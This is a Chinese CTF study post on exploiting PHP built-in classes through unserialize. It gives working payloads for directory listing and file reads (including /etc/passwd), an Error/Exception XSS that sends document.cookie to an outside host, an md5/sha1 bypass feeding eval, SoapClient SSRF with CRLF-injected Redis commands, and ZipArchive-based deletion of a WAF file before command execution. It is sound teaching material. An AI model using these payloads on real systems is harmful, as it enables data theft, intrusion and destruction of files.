目录
使用 Error/Exception 内置类绕过hash 比较。
前言:
对PHP 原生类的利用似懂非懂,总是看完wp 才恍然大悟,原来可以这么用, 所以收集总结一下 我涉及到的php 原生类的题目,加深巩固。
ez_serialize
<?php
error_reporting(0);
highlight_file(__FILE__);
class A{
public $class;
public $para;
public $check;
public function __construct()
{
$this->class = "B";
$this->para = "ctf";
echo new $this->class($this->para);
}
public function __wakeup()
{
$this->check = new C;
if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
echo new $this->class($this->para);
}
else
die('bad hacker~');
}
}
class B{
var $a;
public function __construct($a)
{
$this->a = $a;
echo ("hello ".$this->a);
}
}
class C{
function vaild($code){
$pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
if (preg_match($pattern, $code)){
return false;
}
else
return true;
}
}
if(isset($_GET['pop']))
{
unserialize($_GET['pop']);
}
else
{
$a=new A;
}
?>
这是一道很经典的题, 做过好多类似的,简单审计一下吧。
先反序列化了pop 传入的值,然后我们全局查找一下出口,也就是我们能利用的点,一般都是file_put_contents file_get_contents system eval 什么的,但是这里没有。审计了一会后,能利用的也就这些地方了
public function __wakeup()
{
$this->check = new C;
if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
echo new $this->class($this->para);
}
else
die('bad hacker~');
}
这里 echo 了一个 类对象,那么不就是触发了 __toString 方法了嘛,不由得想到 使用php原生文件操作类。
PHP原生文件操作类:
这里提出 4个类,可以对文件进行操作的类:
可遍历目录类:
DirectoryIterator
FilesystemIterator
GlobIterator与上面略不同,该类可以通过模式匹配来寻找文件路径。
遍历目录 用以上哪个类都行,最好搭配glob:///协议去模式匹配来寻找我们想要文件的路径。
例如:
DirectoryIterator
<?php
$dir = $_GET['cmd'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
echo($f->__toString().'<br>');// 不加__toString()也可,因为echo可以自动调用
}
?>
其中cmd=glob:///*
# payload一句话的形式:
$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}
FilesystemIterator
<?php
$dir = $_GET['whoami'];
$a = new FilesystemIterator($dir);
foreach($a as $f){
echo($f->__toString().'<br>');// 不加__toString()也可,因为echo可以自动调用
}
?>
其中cmd=glob:///*
# payload一句话的形式:
$a = new FilesystemIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}
GlobIterator :
<?php
$dir = $_GET['whoami'];
$a = new GlobIterator($dir);
foreach($a as $f){
echo($f->__toString().'<br>');// 不加__toString()也可,因为echo可以自动调用
}
?>
其中cmd=/*
# payload一句话的形式:
$a = new FilesystemIterator("/*");foreach($a as $f){echo($f->__toString().'<br>');}
也可以从此代码绕过 open_basedir ,其原理不再赘述
可读取文件类:
SplFileObject 类
SplFileObject在此函数中,URL 可作为文件名,不过也要受到影响。allow_url_fopen
SplFileInfo 类为单个文件的信息,提供了一个高级对象的接口,可以用于对文件的内容 遍历,查找,操作。
测试:
读取文件的一行
<?php
$context = new SplFileObject('/etc/passwd');
echo $context;
对文件中的每一行内容进行遍历。
<?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
echo($f);
}
这道题可以先使用 FilesystemIterator 类来列举 flag 的位置,如:
<?php
class A{
public $class='DirectoryIterator';
public $para="/var/www/html";
public $check;
}
$a = new A();
echo serialize($a);
看到
往payload 追加 目录,可以看到里面有个flag.php
然后我们使用文件读取类 操作就可以了:
<?php
class A{
public $class='SplFileObject';
public $para="/var/www/html/aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php";
public $check;
}
$a = new A();
echo serialize($a);
利用Error/Exception 内置类进行XSS
Error
使用条件:
- 适用于php7的版本
- 在开启报错的情况下
Error类是php 的一个内置类,用于自动自定义一个Error ,在php7的情况下可能会造成一个xss漏洞,因为他内置有一个 __toString() 方法,常用于php反序列化中,如果 有个pop链走到一半走不通了,可以尝试利用这个来做一个xss,直接利用xss来打, 很多cms会选择使用 echo <obejet>类的写法,这回触发__toString 方法。利用这个类调用__toString 也会有意想不到的操作。
本地测试代码:
<?php
$a = unserialize($_GET['cmd']);
echo $a;
这里 有个反序列化的操作,但是没有后续操作,只能用PHP原生类进行操作。
exp:
<?php
$a = new Error("<script>alert('1')</script>");
$b = serialize($a);
echo urlencode($b);
传入cmd
看到已经弹窗,并且返回报错内容。
Excepthin 内置类。
适用于 php5,7
开启报错的情况下:
<?php
$a = unserialize($_GET['cmd']);
echo $a;
EXP:
<?php
$a = new Error("<script>alert('1')</script>");
$b = serialize($a);
echo urlencode($b);
报错的内容是一致的,并且能够成功弹窗
[BJDCTF 2nd]xss之光
git源码泄露,拿到源码
<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);
典型的反序列化函数,要考虑的是如何利用,这里有个echo ,不用思考就知道是要利用某个原生类的__toString 方法,我们这就可以考虑使用Error 内置类来 打Xss
payload
<?php
$poc = new Exception("<script>window.open('http://de28dfb3-f224-48d4-b579-f1ea61189930.node3.buuoj.cn/?'+document.cookie);</script>");
echo urlencode(serialize($poc));
?>
一般xss的题 flag 都再cookie 里,把cookie带出来就行了。
使用 Error/Exception 内置类绕过hash 比较。
Error类
error 是所有php内部错误类的基类,该类是在php7中引入的
Error implements Throwable {
/* 属性 */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 方法 */
public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public getMessage ( ) : string
final public getPrevious ( ) : Throwable
final public getCode ( ) : mixed
final public getFile ( ) : string
final public getLine ( ) : int
final public getTrace ( ) : array
final public getTraceAsString ( ) : string
public __toString ( ) : string
final private __clone ( ) : void
}
类属性:
message:错误消息内容
code:错误代码
file:抛出错误的文件名
line:抛出错误在该文件中的行数
Exception类
从php5开始引入。
类属性和Error 类一样。不再贴上。
我们看到, Error和Expcetion两个类 中只有__toString 方法,这个方法用于 将异常或错误对象转为字符串。
以Error 为例,测试一样他的tostring 方法
发现会以字符串的形式输出报错,包含当前的错误信息 “payload” 以及当前报错的行号 2. 而传入 Error(“payload”,1) 中的错误代码“1”则没有输出出来。
再举个例子:
<?php
$a = new Error("payload",1);$b = new Error("payload",2);
echo $a;
echo "\r\n\r\n";
echo $b;
echo "\r\n\r\n";
if($a != $b)
{
echo "a!=b";
}
echo "\r\n\r\n";
if(md5($a) === md5($b))
{
echo "触发_tostring后a==b";
}
可见,$a 和$b 这两个错误本身是不同的,但是 __toString 方法返回的结果是相同的的,这里之所以需要在同一行是因为 __toString返回的数据包含当前的行号。
Exception 类与 Error 的使用和结果完全一样,只不过 Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7。
利用这个点,可以绕过在php类中的hash 比较
[2020 极客大挑战]Greatphp
代码审计
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}
?>
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) )
对于这个,不能使用数组,只能使用Error类。
md5() 和 sha1()可以对一个类进行hash,并且会触发这个类的__toString ,且当eval() 函数传入一个类对象时,也会触发这个类里的__toString 方法,刚才实验过,Error类中的__toString 将转换的字符串相等。
又存在正则匹配 ,过滤了括号,无法调用函数, 所以直接 include "/flag"即可,过滤引号,直接url取反即可。
payload:
<?php
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
$cmd='/flag';
$cmd=urlencode(~$cmd)
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
/*
也可以用,也需要用两次取反
$str1 = "?><?=include[~".urldecode("%D0%99%93%9E%98")."][!".urldecode("%FF")."]?>";
$str = "?><?=include $_GET[1]?>";
*/
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));
?>
SoapClient类来进行SSRF
php 的内置类SoapClient 是一个专门用来访问web 服务的类,可以提供一个基于SOAP协议访问web服务的php 客户端
SoapClient {
/* 方法 */
public __construct ( string|null $wsdl , array $options = [] )
public __call ( string $name , array $args ) : mixed
public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null
public __getCookies ( ) : array
public __getFunctions ( ) : array|null
public __getLastRequest ( ) : string|null
public __getLastRequestHeaders ( ) : string|null
public __getLastResponse ( ) : string|null
public __getLastResponseHeaders ( ) : string|null
public __getTypes ( ) : array|null
public __setCookie ( string $name , string|null $value = null ) : void
public __setLocation ( string $location = "" ) : string|null
public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool
public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed
}
该类中有个 __call 方法,当__call方法被触发后,他可以发送HTTP 和 HTTPS 请求,正是这个 __call
方法,使得 SoapClient 类可以被我们运用在 SSRF 中。而__call
触发很简单,就是当对象访问不存在的方法的时候就会触发。
构造如下
PHP
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
- 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
- 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间
构造php
<?php
$a = new SoapClient(null,array('location'=>'http://ip:10000/aaa', 'uri'=>'http://ip:10000'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
vps监听:
但是 当存在CRLF 漏洞,我们就可以通过user_agent 的参数伪造http头。
运行后,监听就出现了伪造的http头。
这里测试一下如何伪造。
<?php
$target = 'http://ip:10000/';
$poc = "CONFIG SET dir /var/www/html";
$a = new SoapClient(null,array('location' => $target, 'uri' => 'hello^^'.$poc.'^^hello'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
伪造了redis命令,这样我们就可以用http协议去打redis了。
对于post数据包,Content-type 的值,我们要设置为 application/x-www-form-urlencoded而且Content-Length的值需要与post的数据长度一致。而且http头跟post数据中间间隔\r\n\r\n
,其他间隔\r\n
<?php
$target = 'http://120.77.213.102:7777/';
$post_data = 'data=whoami';
$headers = array(
'X-Forwarded-For: 99.99.99.99',
'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'snowy^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
vps接收到:
可以明显看到,我们串改了 User-Agent。而且 我们还可以往里面插入恶意代码。
bestphp’s revenge
这道题利用的就是这个点,即对SoapClient 类进行反序列化触发SSRF,并配合CRLF构造pyload。
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?> array(0) { }
扫目录发现flag.php:
only localhost can get flag!
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1")
{ $_SESSION['flag'] = $flag; }
only localhost can get flag!
看到 remote_addr 等于127.0.0.1
但是这里没有明显利用ssrf 的点,所以想到利用原生类触发反序列化导致ssrf ,由于flag会被插入到session中,所以我们就需要携带一个cookie 即PHPsessid 去访问它来生成这个session文件,
wp可以看看其他师傅的
[LCTF]bestphp‘s revenge_沫忆末忆的博客-CSDN博客_bestphp's revenge
bestphp‘s revenge_bfengj的博客-CSDN博客_bestphp's revenge
使用 SimpleXMLElement 类进行 XXE
SimpleXMLElement类
这个内置类用于解析XML文档中的元素。
官方文档中对SimpleXMLELement 类的构造方法 SimpleXMLElement::__construct的定义如下
意味着,当我们将第三个参数data_is_url
设置为true的话,我们就可以调用远程xml文件,实现xxe的攻击。第二个参数的常量值我们设置为2
即可。第一个参数 data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url。
[SUCTF 2018]Homework
具体参考:
[SUCTF 2018]Homework – JohnFrod's Blog
使用 ZipArchive 类来删除文件
zipArchive 类可以对文件进行压缩与解压缩处理。
条件 php 5.20
常规的类方法:
ZipArchive::addEmptyDir:添加一个新的文件目录
ZipArchive::addFile:将文件添加到指定zip压缩包中
ZipArchive::addFromString:添加新的文件同时将内容添加进去
ZipArchive::close:关闭ziparchive
ZipArchive::extractTo:将压缩包解压
ZipArchive::open:打开一个zip压缩包
ZipArchive::deleteIndex:删除压缩包中的某一个文件,如:deleteIndex(0)代表删除第一个文件
ZipArchive::deleteName:删除压缩包中的某一个文件名称,同时也将文件删除
我们看看ZipArchive::open:打开一个zip压缩包
ZipArchive::open(string $filename, int $flags=0)
该方法用来打开一个新的或现有的zip存档以进行读取,写入或修改。
filename:要打开的ZIP存档的文件名。
flags:用于打开档案的模式。有以下几种模式:
ZipArchive::OVERWRITE:总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖或删除。
ZipArchive::CREATE:如果不存在则创建一个zip压缩包。
ZipArchive::RDONLY:只读模式打开压缩包。
ZipArchive::EXCL:如果压缩包已经存在,则出错。
ZipArchive::CHECKCONS:对压缩包执行额外的一致性检查,如果失败则显示错误。
注意,如果设置flags参数的值为 ZipArchive::OVERWRITE 的话,可以把指定文件删除。这里我们跟进方法可以看到const OVERWRITE = 8,也就是将OVERWRITE定义为了常量8,我们在调用时也可以直接将flags赋值为8
如果我们通过ZipArchive 调用 open方法 ,可以删除目标机上的文件
梦里花开牡丹亭
没找到复现的环境,只能跟着其他师傅的wp 做了。也正好整理一下这些类涉及到的题型。
<?php
highlight_file(__FILE__);
error_reporting(0);
include('shell.php');
class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
public function __construct()
{
$this->username='user';
$this->password='user';
}
public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){ // admin
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}
}
class login{
public $file;
public $filename;
public $content;
public function __construct($file,$filename,$content)
{
$this->file=$file;
$this->filename=$filename;
$this->content=$content;
}
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
$this->file->open($this->filename,$this->content);
die('login success you can to open shell file!');
}
}
}
class register{
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
die('success register admin');
}else{
die('please register admin ');
}
}
}
class Open{
function open($filename, $content){
if(!file_get_contents('waf.txt')){ // 当waf.txt没读取成功时才能得到flag
shell($content);
}else{
echo file_get_contents($filename.".php"); // filename=php://filter/read=convert.base64-encode/resource=shell
}
}
}
if($_GET['a']!==$_GET['b']&&(md5($_GET['a']) === md5($_GET['b'])) && (sha1($_GET['a'])=== sha1($_GET['b']))){
@unserialize(base64_decode($_POST['unser']));
}
其实看到代码还是挺简单的.
因为题目有包含 shell.php ,我们先构造个链子去读取shell.php
<?php
class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
public function __construct()
{
$this->username='user';
$this->password='user';
}
public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){ // admin
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}
}
class login{
public $file;
public $filename;
public $content;
}
class Open{
function open($filename, $content){
}
}
$poc = new Game();
$poc->username = "admin";
$poc->password = "admin";
$poc->register = "admin";
$poc->file = new Open();
$poc->filename = "php://filter/read=convert.base64-encode/resource=shell";
$poc->content = "xxx";
echo base64_encode(serialize($poc));
shell.php
<?php
function shell($cmd){
if(strlen($cmd)<10){
if(preg_match('/cat|tac|more|less|head|tail|nl|tail|sort|od|base|awk|cut|grep|uniq|string|sed|rev|zip|\*|\?/',$cmd)){
die("NO");
}else{
return system($cmd);
}
}else{
die('so long!');
}
}
看到是 function shell , 我们可以通过反序列化的方法,来调用shell 方法,进行system 命令执行。
但是这里看到
function open($filename, $content){
if(!file_get_contents('waf.txt')){ // 当waf.txt没读取成功时才能得到flag
shell($content);
这里需要waf.txt 不存在时,才能调用shell 方法,所以得删除waf.txt ,所以我们要借用原生类,原生类有open方法,去删除waf.txt
删除waf.txt exp
<?php
class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
public function __construct()
{
$this->username='user';
$this->password='user';
}
public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){ // admin
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}
}
class login{
public $file;
public $filename;
public $content;
}
class Open{
function open($filename, $content){
}
}
$poc = new Game();
$poc->username = "admin";
$poc->password = "admin";
$poc->register = "admin";
$poc->file = new ZipArchive();
$poc->filename = "waf.txt";
$poc->content = ZipArchive::OVERWRITE;//或者为8
echo base64_encode(serialize($poc));
删除后 构造命令执行就可以了,
<?php
class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
public function __construct()
{
$this->username='user';
$this->password='user';
}
public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){ // admin
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}
}
class login{
public $file;
public $filename;
public $content;
}
class Open{
function open($filename, $content){
}
}
$poc = new Game();
$poc->username = "admin";
$poc->password = "admin";
$poc->register = "admin";
$poc->file = new Open();
$poc->filename = "xxx";
$poc->content = "n\l /flag";
echo base64_encode(serialize($poc));
还有其他的类方法可以参考其他 师傅的文。 其他姿势的原生类我暂时也还在学习。